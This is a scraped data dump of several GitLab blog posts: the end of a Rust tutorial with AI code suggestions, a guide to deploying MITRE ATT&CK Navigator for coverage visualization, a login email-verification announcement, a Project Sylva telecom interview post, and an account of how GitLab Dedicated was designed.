strings](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_flow_control_vectors_strings.png){: .shadow}\n\n```rust\n  // Maps and sets\n  let mut scores = HashMap::new();\n\n  scores.insert(String::from(\"Blue\"), 10);\n  scores.insert(String::from(\"Yellow\"), 50);\n\n  for (key, value ) in &scores {\n      println!(\"{}: {}\", key, value);\n  }\n\n  // Vectors and strings\n  let mut v = Vec::new();\n\n  v.push(1);\n  v.push(2);\n\n  for element in &v {\n      println!(\"Element: {}\", element);\n  }  \n```\n\nThis snippet will fail because the `HashMap` type needs to be imported from `std::collections::HashMap`. Add the following line on top before the main function definition: \n\n```rust\nuse std::collections::HashMap;\n``` \n\n2) Build and run the code with `cargo build && cargo run`. \n\nAn example solution is provided [here](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai/-/blob/main/solutions/flow_control.rs).\n\n**Async exercise**: \n\n1) Modify the input values for the different data types, and build and run the code again.\n\n2) Add a condition into the loops that print the items only when a specific condition is met (for example, the number is odd or even). \n\n### Functions \n\n[Functions](https://doc.rust-lang.org/rust-by-example/fn.html) help increase code readability and testability with unit tests. Practice creating functions with the following steps: \n\n1) Two functions `isEven` and `isOdd` to evaluate whether a number is even or odd.\n\n```rust\nfn isEven(x: i32) -> bool {\n    x % 2 == 0\n}\n\nfn isOdd(x: i32) -> bool {\n    x % 2 != 0\n}\n```\n\n2) `isPrime` function to check whether a given integer value is a prime number.\n\n```rust\nfn isPrime(x: i32) -> bool {\n    let mut i = 2;\n\n    while i * i \u003C= x {\n        if x % i == 0 {\n            return false;\n        } else {\n            i += 1;\n        }\n    } \n\n    return true\n}\n```\n\n3) Create an array of integer values, loop over it, and call the functions. Let GitLab Code Suggestions guide you with the implementation by starting to type the if conditions followed by the function name. \n\n```rust\n  // Functions\n  let mut integers = vec![1, 2, 3, 4, 5];\n\n  for i in integers.iter() {\n\n      if (isEven(i)) {\n          println!(\"{} is even\", i);\n      }\n\n      if (isOdd(i)) { \n          println!(\"{} is odd\", i);\n      }\n\n      if (isPrime(i)) { \n          println!(\"{} is prime\", i);\n      }\n\n      println!(\"{}\", i);\n  }\n```\n\nNote that passing a reference value to a function may result in an error from the Rust compiler. Follow the suggestions and build the code again. \n\n```shell\n$ cargo build && cargo run \n\nerror[E0308]: mismatched types\n   --> src/main.rs:112:21\n    |\n112 |         if (isPrime(i)) { \n    |             ------- ^ expected `i32`, found `&{integer}`\n    |             |\n    |             arguments to this function are incorrect\n    |    \nnote: function defined here\n   --> src/main.rs:136:4\n    |\n136 | fn isPrime(x: i32) -> bool {\n    |    ^^^^^^^ ------\nhelp: consider dereferencing the borrow\n    |\n112 |         if (isPrime(*i)) { \n    |                     +\n```\n\nAn example solution is provided [here](https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai/-/blob/main/solutions/functions.rs).\n\n**Async exercise**: Create a function `containsString` and test it with an array of string values, and a string to search for, in a loop. The screenshot shows a potential implementation. \n\n![containsString function, and vector with string elements to test, suggesting its usage in the main function](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_function_implemented_then_suggested_in_main.png){: .shadow}\n\n### Testing \nWhile learning programming, adopt [testing](https://doc.rust-lang.org/rust-by-example/testing.html) into your process. This can be unit tests for functions, documentation testing, and integration testing. Practice with testing the previously created functions `isEven`, `isOdd`, and `isPrime`. Starty by typing `mod tests {` followed by a new line with `use super::*` to implement the example from the [Rust documentation for unit tests](https://doc.rust-lang.org/rust-by-example/testing/unit_testing.html).\n\n```rust\nmod tests {\n    use super::*;\n\n    #[test]\n    fn test_is_even() {\n        assert!(isEven(2)); \n        assert!(!isEven(3));\n    }\n\n    #[test] \n    fn test_is_odd() {\n        assert!(!isOdd(2));\n        assert!(isOdd(3));\n    }\n\n    #[test]\n    fn test_is_prime() { \n        assert!(isPrime(2));\n        assert!(!isPrime(3));\n    }\n}\n```\n\nRun `cargo test` to run the unit tests. Modify the test values to experiment with the results. \n\n```shell\ncargo test\n```\n\n![Function unit tests, cargo test output in the VS Code terminal](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-getting-started/learn_rust_ai_gitlab_code_suggestions_function_unit_tests_terminal_run.png)\n\nCreate unit tests that fail, and commit and push the changes to GitLab. The CI/CD pipelines will fail in this simulated breakage. The example above needs a fix for the `test_is_prime` test. Commit and push the change to verify that the pipeline passes again. \n\n```diff\n-        assert!(!isPrime(3));\n+        assert!(!isPrime(4));\n```\n\n## What is next \nIn an upcoming blog, we will look into advanced learning examples with asynchronous operations, services and external API communication in future blog posts. Until then, here are a few recommendations for practicing async.\n\n### Async learning exercises\n- [`std misc`](https://doc.rust-lang.org/rust-by-example/std_misc.html) provides asynchronous operations with threads, channels and file I/O\n- Book: [Hands-on Rust: Effective Learning through 2D Game Development and Play](https://pragprog.com/titles/hwrust/hands-on-rust/)\n- Tutorial: [Are we game yet?](https://arewegameyet.rs/resources/tutorials/)\n- Use case: [Web server with rocket.rs](https://rocket.rs/v0.5-rc/guide/quickstart/#running-examples)\n\nHere are a few more exercises and ideas for additional learning:\n1) The Rust compiler might have created warnings that need to be addressed. Follow the instructions from the `cargo build` commands and check the Git diff. \n\n```\ncargo fix --bin \"learn-rust-ai\"\n\ngit diff \n```\n\n2) [Error handling](https://doc.rust-lang.org/rust-by-example/error.html) is required when failure is detected, and the caller should know. Some errors can be recovered from within the application, others require program termination. \n\n3) The [`std` library](https://doc.rust-lang.org/rust-by-example/std.html) extends primitive types and makes programming more efficient. \n\n### Share your feedback\nWhich programming language are you learning or considering learning? Start a new topic on our [community](/community/) forum or Discord and share your experience.  \n\nIf you are using Code Suggestions Beta with [GitLab Duo](/gitlab-duo/) already, please share your thoughts and feedback [in this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/405152).\n",[943,7715,696,1444,790],{"slug":8980,"featured":6,"template":678},"learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started","content:en-us:blog:learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started.yml","Learning Rust With A Little Help From Ai Code Suggestions Getting Started","en-us/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started.yml","en-us/blog/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started",{"_path":8986,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8987,"content":8992,"config":8997,"_id":8999,"_type":16,"title":9000,"_source":17,"_file":9001,"_stem":9002,"_extension":20},"/en-us/blog/gitlab-mitre-attack-navigator",{"title":8988,"description":8989,"ogTitle":8988,"ogDescription":8989,"noIndex":6,"ogImage":3961,"ogUrl":8990,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8990,"schema":8991},"Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques","This tutorial helps build and deploy a customized version of MITRE's ATT&CK Navigator using GitLab CI/CD and GitLab Pages.","https://about.gitlab.com/blog/gitlab-mitre-attack-navigator","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use GitLab and MITRE ATT&CK Navigator to visualize adversary techniques\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2023-08-09\",\n      }",{"title":8988,"description":8989,"authors":8993,"heroImage":3961,"date":8994,"body":8995,"category":674,"tags":8996},[2266],"2023-08-09","\nIf you use [MITRE ATT&CK](https://attack.mitre.org/) for classifying cybersecurity incidents, you may want to visualize your coverage across a matrix. This blog will show you how to do this automatically with GitLab by deploying the [ATT&CK Navigator](https://github.com/mitre-attack/attack-navigator) web application pre-populated with your own annotated matrices.\n\nWe make this easy by providing a fully working [example project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gitlab-hosted-attack-navigator) for you to fork and customize. When you're finished, you'll have an interactive visualization tool that displays your coverage of techniques across the ATT&CK framework.\n\n![Image showing ATT&CK Navigator deployed from example project](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/navigator-portal.png)\nATT&CK Navigator deployed from our example project\n{: .note.text-center}\n\n## About MITRE ATT&CK framework\nMITRE ATT&CK is a framework to classify and describe cybersecurity attacks based on real-world observations. It provides a common language that can be used by different groups inside a security organization to collaborate on security initiatives.\n\nFor example, when a company's Red Team emulates an attack based on the techniques of a relevant adversary, they deliver a report that includes a list of the specific technique IDs involved in the exercise. The team in charge of detecting and responding to these attacks can use those IDs to research and implement improved defensive capabilities.\n\nBoth of these groups may want to track their coverage of offensive and defensive capabilities across one of [MITRE's ATT&CK matrices](https://attack.mitre.org/matrices/enterprise/). These matrices are charts that visualize attack tactics and techniques relevant to specific industries and technologies. For example, a company like GitLab may be interested in understanding which techniques in the [Cloud matrix](https://attack.mitre.org/matrices/enterprise/cloud/) we have emulated to test our detection and response capabilities.\n\nMITRE provides a free interactive web application, ATT&CK Navigator, to visualize, annotate, and explore these matrices.\n\nAt GitLab, [our Red Team](https://about.gitlab.com/handbook/security/threat-management/red-team/) produces a new Navigator matrix at the completion of each operation. The matrix highlights which attack techniques we've conducted. We find it useful to view all of these matrices in a single location, with the addition of a combined matrix showing all of the techniques we have conducted across all historical operations. This helps us understand trends and identify potential gaps to cover in future operations.\n\n## Fork our example project to get started\nYou can fork our example project to get going on your own. First, you will need an account on [GitLab.com](https://gitlab.com), or on a self-hosted instance [with GitLab Pages enabled](https://docs.gitlab.com/ee/administration/pages/).\n\nNext, browse to [our example project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gitlab-hosted-attack-navigator) and click on the \"Forks\" button to create a new fork. Fill in the form shown below by choosing a name, location, and description for your copy of the project. You may wish to change \"Visibility level\" to \"Private,\" which will require authentication to view your deployed application.\n\n![Example project showing where to click on the Forks button](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/fork-project.png)\n\nAfter that, take a look inside the `layers/` folder of your new project. Each file in this folder will be used to pre-populate a new tab in the deployed web application where the listed attack techniques are annotated in green. We provide two example files, as well as an empty template file inside `templates/template.yml`.\n\nTemplates should list specific MITRE ATT&CK \"technique\" IDs as bullets below their corresponding MITRE ATT&CK tactic. You only need to include the tactics for which you will add techniques. Here is a short example of techniques across four tactics:\n\n```yaml\nname: Operation 1\ndescription: Example of a Red Team operation - not real data\ntechniques:\n  initial-access:\n    - T1190\n  privilege-escalation:\n    - T1611\n    - T1055\n  lateral-movement:\n    - T1210\n    - T1021\n  exfiltration:\n    - T1041\n```\n\nYou can edit the example files or delete them and add new files of your own.\n\nThe next step is to build and deploy the web application. If you made any changes to the `layers/` folder inside your default branch, this build process should have started automatically. If you just want to deploy the application using the provided sample data, browse to \"Build\" -\\> \"Pipelines\" using the project's sidebar and click the \"Run pipeline\" button.\n\n![Image showing how to build and deploy app with run pipeline button](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/run-pipeline.png)\n\n\nYou can check to see if a pipeline has completed successfully by browsing to \"Build\" -\\> \"Jobs\" in the sidebar. There should be at least two jobs with a status of \"passed\" - one named `build_navigator` and one named `pages`.\n\nOnce both jobs are complete, browse to \"Deploy\" -\\> \"Pages\" in the project's sidebar. Check the \"Use unique domain\" box and click the \"Save changes\" button.\n\n![Image showing complete jobs with save changes button](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/pages-settings.png)\n\n\nThat's it! Your application should now be accessible using the URL provided under \"Access pages\" on the same page.\n\n## How the example project works\nThere are three main components inside the example project:\n- The `gitlab-ci.yml` file. This defines what jobs run, and when they run. The file contains rules to automatically run the jobs whenever you push changes to the `layers/` folder inside the project's default branch, or whenever you manually run a pipeline as described above.\n- The `create-layers.py` file. This Python script takes the custom YAML files you provide, and then generates individual and combined JSON files in the format that ATT&CK Navigator expects. You can customize this file to change the annotation color (`HIGHLIGHT_COLOR`) as well as some of the application defaults (`JSON_BLOB`). In our internal version, for example, we remove some of the platform filters that don't apply to us.\n- The `build-navigator.sh` file. The shell script is responsible for downloading the ATT&CK Navigator application, injecting the custom layers we create, and building the application. The output is a static website that we then host using GitLab Pages.\n\n## More features of the ATT&CK Navigator app\nOnce deployed, the application is interactive. This blog focuses on using a colored annotation to visualize coverage, but the [application is capable of much more](https://github.com/mitre-attack/attack-navigator/blob/master/USAGE.md).\n\nHere are some features we use often:\n- In the \"layer controls\" bar up top, click on the button that looks like an asterisk surrounded by up and down arrows. The name is \"expand annotated sub-techniques.\" This will ensure that all techniques in your YAML file are easily viewable, as subtechniques may be hidden away when the matrix first loads.\n- If you want to hide all unannotated techniques, click anywhere in the matrix and select \"select unannotated.\" Then, under \"technique controls,\" click on the \"toggle state\" button. This will give you a much cleaner matrix, showing only the specific techniques you've provided in your custom YAML files.\n\n![ATT&CK Navigator with unannotated techniques hidden](https://about.gitlab.com/images/blogimages/2023-08-15-gitlab-mitre-attack-navigator/navigator-collapsed.png)\nATT&CK Navigator with unannotated techniques hidden\n{: .note.text-center}\n\nATT&CK is not a bingo card, and for most organizations the goal shouldn't be to have green squares across the board. Instead, you should use this to understand your own coverage and how it relates to the threats most relevant to you.\n\n## Share your feedback\nMITRE ATT&CK Navigator is a great tool for visualizing coverage of attack techniques across a matrix. Using our example project, you can easily deploy an automated solution that builds this tool and pre-populates it with your own data.\n\nOn our Red Team, we love to find creative use cases for GitLab, and this is one we use ourselves. If you find this useful, or if you have any ideas to improve it, we would love to hear from you! Feel free to open an issue or a merge request inside our [example project](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gitlab-hosted-attack-navigator).\n",[674,815,696,110],{"slug":8998,"featured":6,"template":678},"gitlab-mitre-attack-navigator","content:en-us:blog:gitlab-mitre-attack-navigator.yml","Gitlab Mitre Attack Navigator","en-us/blog/gitlab-mitre-attack-navigator.yml","en-us/blog/gitlab-mitre-attack-navigator",{"_path":9004,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9005,"content":9010,"config":9016,"_id":9018,"_type":16,"title":9019,"_source":17,"_file":9020,"_stem":9021,"_extension":20},"/en-us/blog/gitlab-account-security",{"title":9006,"description":9007,"ogTitle":9006,"ogDescription":9007,"noIndex":6,"ogImage":6022,"ogUrl":9008,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9008,"schema":9009},"GitLab account security: Verify your information for enhanced protection","GitLab users soon will be required to provide a valid email address during login to boost security and prevent credential stuffing.","https://about.gitlab.com/blog/gitlab-account-security","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab account security: Verify your information for enhanced protection\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jensen Stava\"}],\n        \"datePublished\": \"2023-08-08\",\n      }",{"title":9006,"description":9007,"authors":9011,"heroImage":6022,"date":9013,"body":9014,"category":736,"tags":9015},[9012],"Jensen Stava","2023-08-08","\n\nOur priority at GitLab is to ensure the highest level of security for your accounts and protect your valuable information. As part of our commitment to your security, we will now require users who are not registered with two-factor authentication ([2FA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html)) to confirm a valid email address during login. Users will be prompted to confirm a code sent to their email if their login attempt meets specific high-risk criteria. This security update will be implemented on August 16, 2023.\n\n### Why we are making this change\nThe rise of cyber threats, such as [credential stuffing](https://www.techtarget.com/whatis/definition/credential-stuffing), has prompted us to take proactive measures to safeguard your accounts. By requiring a valid email address during login, we can effectively verify user identities and add an extra layer of protection against unauthorized access.\n\n### Confirmation process for non-2FA users\nFor users who have not yet registered with 2FA, a brief verification process may follow a login attempt. After entering your username and password, you will be prompted to enter a code sent to your email address. This step ensures that GitLab upholds the highest standards for account security.\n\n![Confirmation prompt](https://about.gitlab.com/images/blogimages/confirmationprompt.png)\n\n\n### Empowering users with one-time email address update\nTo facilitate this security update, we have introduced a special feature the first time verification is required August 16, 2023. Users will have the option to update their email address once to a valid and active email address. This flexibility enables you to provide the most relevant email address for future logins.\n\n![Verification form](https://about.gitlab.com/images/blogimages/validationform.png)\n\n\n### Maintaining a valid email address\nOnce you have updated your email address, it is crucial to maintain a valid email address linked to your account moving forward. This will ensure seamless logins in the future.\n\n### Your security matters most\nAt GitLab, we are wholly committed to providing you with a secure and reliable user experience. This update reflects our ongoing dedication to protecting your accounts and preserving the trust you place in us.\n",[736,695,754,674],{"slug":9017,"featured":6,"template":678},"gitlab-account-security","content:en-us:blog:gitlab-account-security.yml","Gitlab Account Security","en-us/blog/gitlab-account-security.yml","en-us/blog/gitlab-account-security",{"_path":9023,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9024,"content":9030,"config":9035,"_id":9037,"_type":16,"title":9038,"_source":17,"_file":9039,"_stem":9040,"_extension":20},"/en-us/blog/next-gen-telecom-with-gitlab",{"title":9025,"description":9026,"ogTitle":9025,"ogDescription":9026,"noIndex":6,"ogImage":9027,"ogUrl":9028,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9028,"schema":9029},"Developing next-generation telecommunications with GitLab","Learn more about Project Sylva, a cross-industry collaboration to build a cloud-native, open source telecommunications platform using GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682864/Blog/Hero%20Images/telecomabstract.jpg","https://about.gitlab.com/blog/next-gen-telecom-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing next-generation telecommunications with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-08-07\",\n      }",{"title":9025,"description":9026,"authors":9031,"heroImage":9027,"date":9032,"body":9033,"category":813,"tags":9034},[8083],"2023-08-07","\nIn November 2022, the Linux Foundation Europe [announced the launch of Project Sylva](https://www.linuxfoundation.org/press/linux-foundation-europe-announces-project-sylva-to-create-open-source-telco-cloud-software-framework-to-complement-open-networking-momentum), a cloud-native, [open source](https://go.gitlab.com/spHNym) telecommunications software stack. The initiative represents a cross-industry collaboration between major telecommunications providers and vendors (Telefonica, Telecom Italia, Orange, Vodafone, Deutsche Telekom, Ericsson, and Nokia), who formally agreed to collaborate on building the foundation of a next-generation telecommunications system in the open.\n\nToday that work continues [on GitLab](https://gitlab.com/sylva-projects), where the project is gaining momentum as its contributor community grows. Eager to hear what that community has achieved since last year, I sat down with [André Vieira](https://gitlab.com/andre.macedo.av), the project's communications lead. \n\nWatch our interview to learn more about Sylva's guiding mission and vision, its successes, its challenges, and its future.\n\n## Watch the interview\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/mblgJpmvkZI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[815,267,754],{"slug":9036,"featured":6,"template":678},"next-gen-telecom-with-gitlab","content:en-us:blog:next-gen-telecom-with-gitlab.yml","Next Gen Telecom With Gitlab","en-us/blog/next-gen-telecom-with-gitlab.yml","en-us/blog/next-gen-telecom-with-gitlab",{"_path":9042,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9043,"content":9048,"config":9055,"_id":9057,"_type":16,"title":9058,"_source":17,"_file":9059,"_stem":9060,"_extension":20},"/en-us/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated",{"title":9044,"description":9045,"ogTitle":9044,"ogDescription":9045,"noIndex":6,"ogImage":6418,"ogUrl":9046,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9046,"schema":9047},"Building GitLab with GitLab: How GitLab.com inspired Dedicated","Learn how the multi-tenancy SaaS solution, GitLab.com, influenced the design of the single-tenancy SaaS, GitLab Dedicated.","https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building GitLab with GitLab: How GitLab.com inspired Dedicated\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Newdigate\"},{\"@type\":\"Person\",\"name\":\"Craig Miskell\"},{\"@type\":\"Person\",\"name\":\"John Coghlan\"}],\n        \"datePublished\": \"2023-08-03\",\n      }",{"title":9044,"description":9045,"authors":9049,"heroImage":6418,"date":9052,"body":9053,"category":734,"tags":9054},[9050,9051,6631],"Andrew Newdigate","Craig Miskell","2023-08-03","\nEarlier this year, we announced [the general availability of GitLab Dedicated](https://about.gitlab.com/blog/gitlab-dedicated-available/), our single-tenancy software-as-a-service (SaaS) offering. Dedicated, which addresses the needs of customers with stringent compliance requirements while maintaining speed, efficiency, and security, was developed from the lessons we learned building and using GitLab.com, our multi-tenancy model. Although there is overlap in how we manage both platforms, such as the same service-level monitoring stack, there were significant considerations that sparked the need for new design decisions, including how we approach automation, databases, monitoring, and availability. In this blog, we share some of those decision points and their outcomes.\n\n## GitLab platform options\nBefore we dive into the evolution of GitLab Dedicated, let’s level-set on GitLab’s [portfolio of platform models](https://docs.gitlab.com/ee/subscriptions/choosing_subscription.html#choose-a-subscription):\n- GitLab.com, a.k.a. multi-tenant GitLab SaaS on our pricing page and in our documentation\n- GitLab Dedicated, single-tenant SaaS that satisfies compliance requirements such as data residency, isolation, and private networking\n- GitLab self-managed, in which customers install, administer, and maintain their own GitLab instance\n\nEach method meets the different needs of our wide range of customers and requires a unique approach for how we create, package, and deploy the application.\n\nWhile both GitLab.com and Dedicated are SaaS-based, there are key differences between the two. The multi-tenant GitLab.com is the largest hosted instance of GitLab and services thousands of customers and millions of users. Because the platform's reliability is critical to so many customers and because of the iterative nature of how GitLab.com was built, decisions have been made along the way that are unique to the scale of this specific instance.\n\nIn contrast, GitLab Dedicated is a single-tenant SaaS application that is hosted by GitLab in the customer's region of choice (GitLab.com is hosted in the U.S.). While still providing a GitLab-managed SaaS solution for our customers, Dedicated instances are fully isolated from one another, running on a platform that automates the configuration and provisioning of the instances, along with automating as many of the day-two operations as possible, such as maintenance, monitoring, and optimization.\n\nHere are some examples of how Dedicated has used the blueprint of GitLab.com.\n\n## Improved automated deployments\nGitLab.com is a permanent installation with a great deal of history, having evolved significantly since it was first developed. Originally, it was deployed on a single instance in Amazon AWS, before migrating to Microsoft Azure, where it continued to scale out. From Azure, it migrated to its current cloud, Google Cloud Platform. Since then, many customer workloads have [migrated into Kubernetes](https://about.gitlab.com/blog/year-of-kubernetes/) and are supported by the Google Kubernetes Engine ([GKE](https://cloud.google.com/kubernetes-engine)).\n\nWith GitLab Dedicated, we're building smaller instances that rely on automation, repeatability, and deterministic environments. All customer tenant GitLab instance operations must be 100% automated, including provisioning, upgrades, scaling, configuration changes, and any other routine operations. The stack relies heavily on the GitLab Environment Toolkit ([GET](https://gitlab.com/gitlab-org/gitlab-environment-toolkit/-/blob/main/docs/environment_advanced_hybrid.md)) Cloud Native Hybrid, which uses the GitLab Helm charts for stateless workloads (e.g., Rails) and Omnibus for deployments to VMs (e.g., Gitaly). GET helps with the deployments targeting [reference architectures](https://docs.gitlab.com/ee/administration/reference_architectures/) and coordinating the provisioning of cloud resources, including compute instances, Kubernetes clusters, managed Postgres databases and more.\n\nAs much as GET automates, it has a certain amount of required setup, which is acceptable to perform manually for one-off or otherwise long-lived deployments, but in order to scale Dedicated we also had to automate that process, which we did with Terraform. Because this was a greenfield approach, we were able to be particularly careful with privileges. Our current cloud deployment target is AWS, so we developed a detailed identity and access management ([IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html)) policy to grant each stage of deployment only the strictly necessary access. We also use IAM role assumption from trusted workloads in a central AWS account to eliminate the need for explicit credentials.  \n\nDeployments follow this process in order:\n- An account creation job running from a trusted location creates a fresh AWS account in an [AWS Organization](https://docs.aws.amazon.com/organizations/index.html), placing it in the correct Organizational Unit to automatically have a [CloudFormation StackSet](https://docs.aws.amazon.com/organizations/latest/userguide/services-that-can-integrate-cloudformation.html) applied, with ongoing updates handled by AWS when needed. This allows us to operate the entire lifecycle of the tenant account using IAM Role Assumption rather than generating and storing static IAM credentials.\n- Prepare stage sets up a fresh AWS account ready to receive a deployment; the privileges are quite high powered, but still limited to the necessary areas, including creating the next role.  \n- Onboard stage creates some high-level resources and otherwise does the setup that GET requires to be able to run, including creating the roles for the next stages with their own limited privileges.  \n- Provision stage is mostly about running GET Terraform and creating the compute and storage resources onto which GitLab will be deployed, with a few additions for our specific needs.  \n- Configure stage runs to deploy the GitLab application onto the resources created earlier. At its core, this is the GET Ansible stage, but it includes our own Terraform wrapper as well to handle our specific needs.\n\nOnce these stages complete, a fully deployed GitLab instance is ready to go.  \n\nConfiguration changes and GitLab upgrades execute the same set of stages, ensuring everything is still configured correctly and applying any pending changes. In the early days of GitLab Dedicated this was done in GitLab CI/CD pipelines operating on GitLab.com, with the tenant descriptions as JSON files in a repository, which was an effective and simple place to start.  \n\nHowever, this multi-stage deployment is now managed by [Switchboard](https://about.gitlab.com/direction/saas-platforms/switchboard/), a portal we built specifically for GitLab Dedicated. Switchboard is a bespoke Rails application, which will be the single source of truth for configuration, accessible by customers to manage customer-facing settings, as well as GitLab Dedicated staff for general management. Switchboard will be responsible for automating regular upgrades, including gradual rollouts across the fleet of Dedicated instances.\n\n## Databases geared towards the needs of single tenancy\nGitLab.com uses self-managed Postgres and Redis. For GitLab Dedicated, we wanted to leverage AWS’s managed services as much as possible. Examples include RDS, Elasticache, and OpenSearch, the AWS Elasticsearch managed service. Some of these services may not always be able to support GitLab.com-scale platforms, but they handle the traffic of a single-tenant instance well and provide reliable failovers and ongoing maintenance with no effort on our part.\n\n## Monitoring aligned with strict compliance needs\nThe observability stack for GitLab Dedicated relies on the expertise we gained from building GitLab.com. The monitoring, logging, and availability infrastructure is all maintained within the customer's AWS account, nothing is shared. We receive low-context alerts from these private systems. They serve as a mechanism to direct us to the customer account so we can review what is going on and triage the underlying issues if needed. This is helpful with regulators and compliance as nothing can leak because it doesn't leave the system.\n\nWhile Dedicated and GitLab.com share much of the same monitoring stack, Dedicated instances have tended to reveal different issues within our application. This is due to GitLab.com being a multi-tenant instance, while GitLab Dedicated instances are single-tenant. \n\nThink of the adage, \"[Your 9s are not my 9s](https://rachelbythebay.com/w/2019/07/15/giant/).\" In a platform at the scale of GitLab.com, a subset of users who encounter an issue in part of the application may be a very small percentage of the overall user base. The small impact relative to the scale of the platform may not create an alert. In a single-tenant instance, however, the same bugs or scaling issues can quickly impact a higher percentage of the overall users of the instance, escalating the issue's importance. Applying our service-level monitoring to single-tenant GitLab instances has benefited GitLab users who had encountered bugs that were overlooked in the volume of GitLab.com usage. When we identify issues in a Dedicated instance, we resolve them within the product.\n\n## High availability for all components\nConsidering the hybrid environment and the level of service that we want to offer to our customers, we have made some minor changes from the [standard reference architecture](https://docs.gitlab.com/ee/administration/reference_architectures/).\n\nOne such change is introducing high availability for all components. For the lower size (i.e., up to 2,000 users), our architecture ships by default with all the components in full redundant mode. Components like RDS and Elasticache will have a replica in a different Availability Zone. This is referred to as the primary region and we have to define how it will look in the [Geo replicas](https://docs.gitlab.com/ee/administration/geo/setup/database.html).\n\n## Only on Dedicated\nIn addition to the other changes we made, we also built some features that are only used for GitLab Dedicated:\n- Bring your own key - customers can provide and manage the encryption keys used to encrypt AWS resources such as storage, allowing a customer to revoke access should that ever become necessary. This is not something that can be offered in a multi-tenant system like GitLab.com.\n- Switchboard - as mentioned above, Switchboard was purpose-built for Dedicated. It is a multi-tenant Ruby on Rails application, accessible by GitLab Dedicated customer administrators and GitLab Dedicated team members. Using this interface, customers can change the available application runtime settings, access provided graphs, add additional products, and more. The main Switchboard instance serves as a single source of truth for global configuration and status across multiple cloud providers and regions.\n- PrivateLink networking - allows traffic between tenant AWS accounts and customer accounts without exposing data to the internet. \n- Other network features - including traffic filtering and private hosted zones.\n\nDedicated has been an exciting project and a great learning experience for our team. We were able to apply the knowledge accumulated in building GitLab.com to deliver an important new product for our customers in a very efficient way. You can learn more about GitLab Dedicated by visiting our [Dedicated page](https://about.gitlab.com/dedicated/) or contacting a GitLab sales representative.\n\n_Check out the [first installment in our \"Building GitLab with GitLab\" series](https://about.gitlab.com/blog/building-gitlab-with-gitlab-api-fuzzing-workflow/), which takes you behind the scenes of the development of our web API fuzz testing._\n",[944,479,943,754],{"slug":9056,"featured":6,"template":678},"building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated","content:en-us:blog:building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated.yml","Building Gitlab With Gitlabcom How Gitlab Inspired Dedicated","en-us/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated.yml","en-us/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated",{"_path":9062,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9063,"content":9069,"config":9073,"_id":9075,"_type":16,"title":9076,"_source":17,"_file":9077,"_stem":9078,"_extension":20},"/en-us/blog/gitlab-duo-code-suggestions-python",{"title":9064,"description":9065,"ogTitle":9064,"ogDescription":9065,"noIndex":6,"ogImage":9066,"ogUrl":9067,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9067,"schema":9068},"How GitLab Duo Code Suggestions helped me make long car rides fun","AI-powered Gitlab Duo Code Suggestions coupled with Remote Development workspaces helped me create a Python-based guessing game application to keep my daughter entertained.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679869/Blog/Hero%20Images/carride.jpg","https://about.gitlab.com/blog/gitlab-duo-code-suggestions-python","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab Duo Code Suggestions helped me make long car rides fun\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2023-08-03\",\n      